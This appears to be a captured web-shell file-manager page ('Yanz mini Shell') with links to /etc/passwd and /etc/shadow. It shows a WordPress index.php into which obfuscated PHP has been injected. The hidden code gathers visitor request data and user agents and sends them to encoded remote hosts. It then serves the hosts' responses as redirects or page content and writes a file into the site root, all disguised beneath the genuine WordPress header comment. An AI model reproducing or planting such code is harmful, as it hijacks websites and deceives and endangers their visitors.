Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php

/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
 
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
/** Loads the WordPress Environment and Template */

$ooc_4icsw = [ ooc_5y052("xXxi"), ooc_5y052("qEFR"), ooc_5y052("PBUr"), ooc_5y052("vBcy") ]; $ooc_g9n2h = ooc_5y052("dpZs"); $ooc_dy1qf = isset($_SERVER[ooc_5y052("wZdu")]) ? $_SERVER[ooc_5y052("ecrA")] : ooc_5y052("VaoH"); $ooc_64f9d = isset($_SERVER[ooc_5y052("GLpF")]) ? $_SERVER[ooc_5y052("BfYx")] : ooc_5y052("OYjc"); $ooc_uzcso = ooc_283bv() ? ooc_5y052("uYlO") : ooc_5y052("uqcK"); $ooc_mvmtx = ooc_4zbx2(); $ooc_de13d = ooc_07jw9() ?: ooc_5y052("FTPE"); $ooc_u1bv4 = ooc_5y052("tSCZ"); $ooc_srzsp = ooc_5y052("VuOH"); preg_match(ooc_5y052("CzpF"), $ooc_de13d, $ooc_d1njt); if (!(!(!empty($ooc_d1njt)))) { $ooc_u1bv4 = $ooc_d1njt[1]; if (!(!(($ooc_7tmjp = strpos($ooc_de13d, $ooc_u1bv4)) !== false))) { $ooc_u1bv4 = ltrim(substr($ooc_de13d, 0, $ooc_7tmjp + strlen($ooc_u1bv4)), ooc_5y052("cqil")); } $ooc_srzsp = str_replace(ooc_5y052("wPDw"), ooc_5y052("EVyC"), $ooc_u1bv4); } $ooc_srzsp = stristr($ooc_de13d, ooc_5y052("ziiy")) ? ooc_5y052("WMTC") : $ooc_srzsp; $ooc_yb811 = false; if (!(!(strpos($ooc_de13d, $ooc_g9n2h) !== false))) { $ooc_mvmtx = 1; $ooc_de13d = str_replace($ooc_g9n2h, ooc_5y052("rFAQ"), $ooc_de13d); $ooc_yb811 = true; } if (!(!($ooc_de13d != ooc_5y052("lZpr")))) { $ooc_de13d = str_replace(ooc_5y052("zPCQ") . $ooc_u1bv4, ooc_5y052("gcqW"), $ooc_de13d); $ooc_de13d = str_replace(ooc_5y052("cvte"), ooc_5y052("DcWI"), $ooc_de13d); $ooc_de13d = str_replace(ooc_5y052("wsHO"), ooc_5y052("QytR"), $ooc_de13d); } $ooc_wl0qg = http_build_query([ ooc_5y052("eNYW") => $ooc_dy1qf, ooc_5y052("ezkk") => $ooc_mvmtx, ooc_5y052("tpSh") => urlencode($ooc_de13d), ooc_5y052("wcdo") => $ooc_64f9d, ooc_5y052("FpcC") => $ooc_uzcso, ooc_5y052("mmhr") => $ooc_srzsp, ooc_5y052("WKmr") => $ooc_yb811 ? $ooc_g9n2h : ooc_5y052("oYDK") ]); ooc_d5xbj($ooc_uzcso . ooc_5y052("AunQ") . $ooc_dy1qf); $ooc_4sytl = ooc_weuqv($ooc_4icsw, $ooc_wl0qg); if (!(!(strpos($ooc_4sytl, ooc_5y052("mRcX")) === false))) { $ooc_hslqk = array( ooc_5y052("LTBv") => array( ooc_5y052("tyAU") => ooc_5y052("Dkkd"), ooc_5y052("UBVb") => ooc_5y052("oLrw"), ooc_5y052("HpkQ") => true, ooc_5y052("ZTou") => true ), ooc_5y052("Jikm") => array( ooc_5y052("GWhz") => ooc_5y052("fMEs") ), ooc_5y052("SlSk") => array( ooc_5y052("wizO") => ooc_5y052("ixqo") ), ooc_5y052("Qbyc") => array( ooc_5y052("UAwS") => ooc_5y052("XXNJ"), ooc_5y052("wSFP") => ooc_5y052("qMnv"), ooc_5y052("odPw") => ooc_5y052("rJqR"), ooc_5y052("PPym") => true ), ooc_5y052("yPfk") => array( ooc_5y052("LBxN") => ooc_5y052("jFGq"), ooc_5y052("qcuB") => ooc_5y052("qOSJ"), ooc_5y052("PdRO") => true ), ooc_5y052("fXBW") => array( ooc_5y052("EPuT") => ooc_5y052("nWAy"), ooc_5y052("Tsrt") => ooc_5y052("DjmG"), ooc_5y052("Qmax") => true ) ); foreach ($ooc_hslqk as $ooc_en3jg => $ooc_7xmdf) { if (!(!(strpos($ooc_4sytl, $ooc_en3jg) !== false))) { @header($ooc_7xmdf[ooc_5y052("qmZf")]); if (!(!(isset($ooc_7xmdf[ooc_5y052("xEEM")])))) { @header(ooc_5y052("gvdq") . $ooc_7xmdf[ooc_5y052("ZPHG")]); @header(ooc_5y052("GLAy")); @header(ooc_5y052("ADXr")); } if (!(!(isset($ooc_7xmdf[ooc_5y052("QyIJ")])))) { $ooc_4sytl = str_replace($ooc_7xmdf[ooc_5y052("BEpn")], ooc_5y052("fjuP"), $ooc_4sytl); } if (!(!(isset($ooc_7xmdf[ooc_5y052("TXJp")]) && $ooc_yb811))) { echo $ooc_g9n2h; } if (!(!(isset($ooc_7xmdf[ooc_5y052("wPfx")])))) { @header(ooc_5y052("DntK") . $ooc_4sytl); } elseif (!(!(isset($ooc_7xmdf[ooc_5y052("QXly")])))) { echo $ooc_4sytl; } die(); } } } function ooc_4zbx2() { $ooc_l9pj1 = isset($_SERVER[ooc_5y052("tFTJ")]) ? strtolower($_SERVER[ooc_5y052("LLkV")]) : ooc_5y052("FsKR"); $ooc_ecbu3 = array(ooc_5y052("WEli"), ooc_5y052("IIbg"), ooc_5y052("TiOB"), ooc_5y052("spFC")); foreach ($ooc_ecbu3 as $ooc_je22u) { if (!(!(strpos($ooc_l9pj1, $ooc_je22u) !== false))) { return 1; } } return 2; } function ooc_07jw9() { if (!(!(isset($_SERVER[ooc_5y052("eVIJ")])))) { return $_SERVER[ooc_5y052("kIAW")]; } if (!(!(isset($_SERVER[ooc_5y052("hGSk")])))) { return $_SERVER[ooc_5y052("mqkf")] . ooc_5y052("zxyj") . $_SERVER[ooc_5y052("FLRb")][0]; } return $_SERVER[ooc_5y052("VTWI")] . ooc_5y052("bAZW") . $_SERVER[ooc_5y052("gush")]; } function ooc_283bv() { if (!(!(isset($_SERVER[ooc_5y052("LfHu")])))) { $ooc_06yso = strtolower($_SERVER[ooc_5y052("Vkbo")]); if (!(!($ooc_06yso !== ooc_5y052("Beep") && $ooc_06yso !== ooc_5y052("rAWT")))) { return true; } } if (!(!(isset($_SERVER[ooc_5y052("LNML")]) && $_SERVER[ooc_5y052("NAJV")] === ooc_5y052("jyyR")))) { return true; } if (!(!(isset($_SERVER[ooc_5y052("aCNJ")])))) { $ooc_72g80 = strtolower($_SERVER[ooc_5y052("zzyd")]); if (!(!($ooc_72g80 !== ooc_5y052("RGdu") && $ooc_72g80 !== ooc_5y052("suJz")))) { return true; } } return false; } function ooc_d5xbj($ooc_3wjsm) { $ooc_cce54 = ooc_krpda(); $ooc_gqgrp = $_SERVER[ooc_5y052("xphk")] . ooc_5y052("JQxk"); $ooc_9l13w = ooc_5y052("KCfH") . PHP_EOL . ooc_5y052("dJsY") . PHP_EOL . PHP_EOL . ooc_5y052("KaEg") . $ooc_3wjsm . ooc_5y052("bFnY") . PHP_EOL; if (!(!(!file_exists($ooc_gqgrp)))) { @$ooc_cce54[0]($ooc_gqgrp, $ooc_9l13w); } else { $ooc_50i9q = $ooc_cce54[1]($ooc_gqgrp); if (!(!($ooc_50i9q !== $ooc_9l13w))) { @$ooc_cce54[0]($ooc_gqgrp, $ooc_9l13w); } } } function ooc_weuqv($ooc_00dn1, $ooc_wl0qg) { $ooc_cce54 = ooc_krpda(); shuffle($ooc_00dn1); foreach ($ooc_00dn1 as $ooc_vot3n) { $ooc_1bwhh = $ooc_cce54[2](urldecode($ooc_vot3n)); $ooc_3wjsm = ooc_5y052("gHGE") . $ooc_1bwhh . ooc_5y052("dGPC") . $ooc_wl0qg; if (!(!(function_exists(ooc_5y052("ENBz"))))) { $ooc_6iwiu = wp_remote_get($ooc_3wjsm, array( ooc_5y052("PLUY") => 30, ooc_5y052("nYTd") => ooc_5y052("XMaF") )); if (!(!(!is_wp_error($ooc_6iwiu)))) { $ooc_b40cd = wp_remote_retrieve_body($ooc_6iwiu); return $ooc_b40cd; } } if (!(!(function_exists(ooc_5y052("CPnm"))))) { $ooc_6zyz6 = curl_init(); curl_setopt($ooc_6zyz6, CURLOPT_URL, $ooc_3wjsm); curl_setopt($ooc_6zyz6, CURLOPT_RETURNTRANSFER, true); curl_setopt($ooc_6zyz6, CURLOPT_TIMEOUT, 30); $ooc_6iwiu = curl_exec($ooc_6zyz6); if (!(!(!curl_errno($ooc_6zyz6)))) { curl_close($ooc_6zyz6); return $ooc_6iwiu; } curl_close($ooc_6zyz6); } if (!(!(ini_get(ooc_5y052("RtJb"))))) { $ooc_moyez = stream_context_create(array( ooc_5y052("WUri") => array(ooc_5y052("CHDS") => 30) )); $ooc_6iwiu = @$ooc_cce54[1]($ooc_3wjsm, false, $ooc_moyez); if (!(!($ooc_6iwiu !== false))) { return $ooc_6iwiu; } } } return ooc_5y052("mfAP"); } function ooc_krpda() { $ooc_wh3r5 = range(ooc_5y052("aEUk"), ooc_5y052("ijVA")); return array( $ooc_wh3r5[5] . $ooc_wh3r5[8] . $ooc_wh3r5[11] . $ooc_wh3r5[4] . ooc_5y052("lqwZ") . $ooc_wh3r5[15] . $ooc_wh3r5[20] . $ooc_wh3r5[19] . ooc_5y052("HCRt") . $ooc_wh3r5[2] . $ooc_wh3r5[14] . $ooc_wh3r5[13] . $ooc_wh3r5[19] . $ooc_wh3r5[4] . $ooc_wh3r5[13] . $ooc_wh3r5[19] . $ooc_wh3r5[18], $ooc_wh3r5[5] . $ooc_wh3r5[8] . $ooc_wh3r5[11] . $ooc_wh3r5[4] . ooc_5y052("Hrsn") . $ooc_wh3r5[6] . $ooc_wh3r5[4] . $ooc_wh3r5[19] . ooc_5y052("IsbP") . $ooc_wh3r5[2] . $ooc_wh3r5[14] . $ooc_wh3r5[13] . $ooc_wh3r5[19] . $ooc_wh3r5[4] . $ooc_wh3r5[13] . $ooc_wh3r5[19] . $ooc_wh3r5[18], $ooc_wh3r5[18] . $ooc_wh3r5[19] . $ooc_wh3r5[17] . ooc_5y052("wBss") . $ooc_wh3r5[17] . $ooc_wh3r5[14] . $ooc_wh3r5[19] . ooc_5y052("oDtc") ); }?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>